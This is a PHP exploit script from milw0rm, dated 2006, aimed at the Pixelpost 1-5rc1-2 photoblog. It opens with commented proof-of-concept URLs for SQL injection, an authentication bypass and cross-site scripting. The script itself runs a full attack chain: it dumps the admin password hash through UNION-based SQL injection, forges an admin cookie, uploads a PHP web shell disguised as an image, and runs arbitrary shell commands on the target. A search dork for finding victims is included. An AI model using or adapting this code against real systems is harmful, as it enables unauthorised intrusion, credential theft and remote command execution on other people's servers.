PixelPost 1-5rc1-2 - Privilege Escalation

#!/usr/bin/php -q -d short_open_tag=on
<?
echo "Pixelpost <= 1-5rc1-2 privilege escalation exploit\r\n";
echo "by rgod [email protected]\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "dork: pixelpost \"RSS 2.0\" \"ATOM feed\" \"Valid xHTML / Valid CSS\"\r\n\r\n";

/*
works with:
magic_quotes_gpc=Off
*/

if ($argc<5) {
echo "Usage: php ".$argv[0]." host path your_ip cmd OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to pixelpost\r\n";
echo "your ip:   your actual ip adress, we need it to build an admin cookie\r\n";
echo "           this is automatically set to your proxy ip if you use one\r\n";
echo "cmd:       a shell command\r\n";
echo "Options:\r\n";
echo "   -T[prefix]   specify a table prefix different from \"pixelpost_\"\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." a.b.c.d /pixelpost/ w.x.y.z cat ./../includes/pixelpost.php\r\n";
echo "php ".$argv[0]." a.b.c.d / w.x.y.z  ls -la -p81\r\n";
echo "php ".$argv[0]." a.b.c.d / none ls -la -P1.1.1.1:80\r\n";
die;
}
/* software site: http://www.pixelpost.org/

   description: "A small photoblog application that's a no-brainer to set up and
   use - this is truly for anyone wishing regularly to post their photos on  the
   web like a blog."

   -----

   i) sql injection in index.php near lines 670-680:

   ...
   if($_GET['category'] != "")
	{
		// Modified from Mark Lewin's hack for multiple categories
		$query = mysql_query("SELECT 1,t2.id,headline,image,datetime
		        	      FROM  {$pixelpost_db_prefix}catassoc as t1
				      INNER JOIN {$pixelpost_db_prefix}pixelpost t2 on t2.id = t1.image_id
				      WHERE t1.cat_id = '".$_GET['category']."'
				      AND (datetime<='$cdate')
				      ORDER BY datetime DESC");
		$lookingfor = 1;
	}
   ...

   nice code, isn't it?

   with magic_quotes_gpc = Off:
   http://[target]/[path]/index.php?x=browse&category='UNION SELECT '1','2',admin,'4','5' FROM pixelpost_config WHERE id=1/*
   http://[target]/[path]/index.php?x=browse&category='UNION SELECT '1','2',password,'4','5' FROM pixelpost_config WHERE id=1/*

   now, at screen, you have admin username & MD5 password hash and you can build
   an admin cookie:

   Cookie: pp_user=[username]; pp_password=[sha1([md5hash].[your_ip_address])];

   Admin can upload .php files in images/ folder, files are renamed but you can
   see new filename in main index page, so... you launch commands:

   http://[target]/[path]/images/20060603005716_suntzu.php?cmd=cat%20./../includes/pixelpost.php

   ii) same kind of sql injection in 'archivedate' argument at lines 681-687:
   ...
   ELSE IF ($_GET['archivedate'] != "")
	{

		$where = "AND (DATE_FORMAT(datetime, '%Y-%m')='".$_GET['archivedate']."')"; //DATE_FORMAT(foo, '%Y-%m-%d')
		$query = mysql_query("SELECT 1,id,headline,image, datetime FROM ".$pixelpost_db_prefix."pixelpost WHERE (datetime<='$cdate') $where ORDER BY datetime desc");
		$lookingfor = 1;
	}
   ...
   poc:

   http://[target]/[path]/index.php?x=browse&archivedate=')%20UNION%20SELECT%20'1','2',password,'4','5'%20FROM%20pixelpost_config/*

   iii)
   in admin/ folder at the begin of every script, except for index.php, we have:

   <?php
   if(!isset($_SESSION["pixelpost_admin"]) || $cfgrow['password'] != $_SESSION["pixelpost_admin"]) {
	die ("Try another day!!");
   }
   ...

   if register_globals= On, you can easily bybass this protection, poc:

   http://[target]/]path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1

   this can be used to see some interesting configuration info about target server:

   http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info

   or to launch XSS attacks:

   http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info&admin_lang_pp_exif1=<script>alert(document.cookie)</script>
   http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info&admin_lang_pp_exif2=<script>alert(document.cookie)</script>
   http://[target]/[path]/admin/view_info.php?_SESSION[pixelpost_admin]=1&cfgrow[password]=1&view=info&admin_lang_pp_path=<script>alert(document.cookie)</script>

   iv) another xss, without to be logged in:
   http://[target]/[path]/admin/index.php?loginmessage="><script>window.open("http://retrogod.altervista.org")</script>

   									      */
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;

}

function is_hash($hash)
{
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
 else {return false;}
}

function make_seed()
{
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((float) $usec * 100000);
}

$host=$argv[1];
$path=$argv[2];
$your_ip=$argv[3];
$cmd="";$port=80;$proxy="";$table_prefix="pixelpost_";

for ($i=4; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P") and ($temp<>"-T"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $table_prefix=str_replace("-T","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else
{
$p='http://'.$host.':'.$port.$path;
$temp=explode(":",$proxy);
$your_ip=$temp[0];
}

echo "Trying sql injection in 'category' argument...\r\n";
$sql="'/**/UNION SELECT/**/'1','2',password,'4','5'/**/FROM/**/".$table_prefix."config/**/WHERE/**/id=1/*";
$sql=urlencode($sql);
$packet="GET ".$p."?x=browse&category=".$sql." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("alt=\"",$html);
$temp2=explode("\"",$temp[1]);
$hash=trim($temp2[0]);
if (is_hash($hash)){
echo "admin md5 password hash -> ".$hash."\r\n";
$sql="'/**/UNION/**/SELECT/**/'1','2',admin,'4','5'/**/FROM/**/".$table_prefix."config/**/WHERE/**/id=1/*";
$sql=urlencode($sql);
$packet="GET ".$p."?x=browse&category=".$sql." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("alt=\"",$html);
$temp2=explode("\"",$temp[1]);
$admin=trim($temp2[0]);
echo "  \"   username          -> ".$admin."\r\n";
}
else { echo "Trying with 'archivedate' argument...\r\n";
$sql="')/**/UNION SELECT/**/'1','2',password,'4','5'/**/FROM/**/".$table_prefix."config/**/WHERE/**/id=1/*";
$sql=urlencode($sql);
$packet="GET ".$p."?x=browse&archivedate=".$sql." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("alt=\"",$html);
$temp2=explode("\"",$temp[1]);
$hash=trim($temp2[0]);
if (is_hash($hash)){
         echo "admin md5 password hash -> ".$hash."\r\n";
         }
else {die ("Exploit failed...magic_quotes_gpc on here or code patched");}

$sql="')/**/UNION/**/SELECT/**/'1','2',admin,'4','5'/**/FROM/**/".$table_prefix."config/**/WHERE/**/id=1/*";
$sql=urlencode($sql);
$packet="GET ".$p."?x=browse&archivedate=".$sql." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("alt=\"",$html);
$temp2=explode("\"",$temp[1]);
$admin=trim($temp2[0]);
echo "  \"   username          -> ".$admin."\r\n";
}

$cookie="pp_user=".$admin."; pp_password=".sha1($hash.$your_ip).";";
$packet="GET ".$p."admin/index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<=count($temp); $i++)
{
$temp2=explode(" ",$temp[$i]);
$cookie.=" ".$temp2[0];
}
echo "admin cookie            ->".$cookie."\r\n";

$shell=
'<?php
if (get_magic_quotes_gpc()){$_REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);}
ini_set("max_execution_time",0);
error_reporting(0);
echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);
passthru($_REQUEST["cmd"]);
echo chr(0x2A).chr(0x64).chr(0x65).chr(0x6C).chr(0x69).chr(0x2A);
?>';
srand(make_seed());
$anumber = rand(1,99999);
$my_file="suntzu".$anumber.".php";
$data='
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="headline"

Under Costruction... - Admin.
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="category[]"

1
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="body"


-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="autodate"

3
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="post_year"


-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="post_month"


-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="post_day"


-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="post_hour"


-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="post_minute"


-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="userfile"; filename="'.$my_file.'"
Content-Type: image/jpeg

'.$shell.'
-----------------------------7d6318101b00a2
Content-Disposition: form-data; name="submit"

Upload
-----------------------------7d6318101b00a2--
';

$packet="POST ".$p."admin/index.php?x=save HTTP/1.0\r\n";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6318101b00a2\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);

$packet="GET ".$p."index.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
$temp=explode("img src=\"",$html);
$temp2=explode(" ",$temp[1]);
for ($i=1; $i<=count($temp); $i++)
{
$temp2=explode("\"",$temp[$i]);
if (eregi($my_file,$temp2[0]))
 {
  $my_path=$temp2[0];
  echo "shell -> ".$my_path."\r\n";
  break;
 }
}

$packet="GET ".$p.$my_path." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"*deli*"))
{
 $temp=explode("*deli*",$html);
 die("Exploit succeeded...\r\n".$temp[1]);
}
else
{
 echo "Failed to launch commands...";
}
?>

# milw0rm.com [2006-06-03]